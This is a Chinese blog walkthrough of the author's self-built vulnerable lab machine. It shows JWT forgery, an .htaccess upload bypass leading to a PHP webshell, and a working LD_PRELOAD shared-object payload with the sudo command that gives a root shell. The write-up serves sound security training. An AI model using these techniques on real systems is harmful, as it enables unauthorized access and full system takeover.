banner
言心吾

言心吾のBlog

吾言为心声

自製靶機 WP

端口掃描#

僅開放了 22,80 端口

WEB#

網站首頁是一個純靜態頁面,查看註釋可發現隱藏目錄

image

base64 解碼得路徑/74221

登錄框有一個弱口令test:123456,登錄進去

image

提示沒有文件上傳的權限,結合 cookie 字段聯想到偽造 jwt 越權

這裡留了兩個口子:可以用空密鑰,也可以爆破出密鑰為jwtsecret123

偽造成功後,查看 dashboard 界面會發現我們的身份是 admin

image
接著來到上傳文件處,僅允許上傳 jpg 或 png 後綴的文件

image

測試後會發現能上傳.htaccess 文件,故上傳之,內容如下

AddType application/x-httpd-php .jpg

此時再上傳一個 jpg 圖片馬即可拿到 webshell

後滲透#

www-data to pentester#

找到兩個密文,它們分別藏在
/etc/passwd
/srv/...

密文如下:

Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...

Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu...

仔細觀察後發現,兩段文字有區別的地方就是 1,沒區別的就是 0,可以得到一串二進制數,轉為 bytes 可以得到密碼

參考解法:

cat a.txt|sed 's/./&\n/g' >aa.txt
cat b.txt|sed 's/./&\n/g' >bb.txt
paste aa.txt bb.txt|awk '{if($1==$2){print 0}else{print 1}}'|xargs|tr -d ' '|fold -w8 | while read bin; do printf "%02X" "$((2#$bin))"; done | xxd -r -p

image

獲得 pentester 用戶的密碼 Y0U_5M4SH3D_17_8UDDY

pentester to xiix#

注意 sudo find 是一個兔子洞,過濾了可能導致提權的選項(當然如果你真的通過該後門提權到 root 算你厲害)

image

查看端口發現 8989 開放

其實它對應著一個每分鐘觸發的 python 腳本

image

nc 127.0.0.1 8989 輸入上面拿到的密碼,即可拿到 xiix 用戶的 shell,由於不是交互式 shell,故可以寫入公鑰文件持久化

image

xiix to root#

guess_name 腳本猜數,成功概率為 1%,可以編寫多線程腳本爆破。此處藏了兩個後門:env 查看環境變量,輸入 1337 即可通關;

image

image

此外腳本運行時會將密碼寫入隱藏文件 /tmp/.hidden_clue

運行pspy -f便可檢測到:

image

Anyway,拿到 xiix 用戶密碼superxiix

然後 sudo -l,發現有 env_keep+=LD_PRELOAD
image

這是一個經典的提權點

首先編譯 shell.so:

#include <stdio.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然後執行:sudo LD_PRELOAD=/home/xiix/shell.so whoami,即可獲得 root shell。

image

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。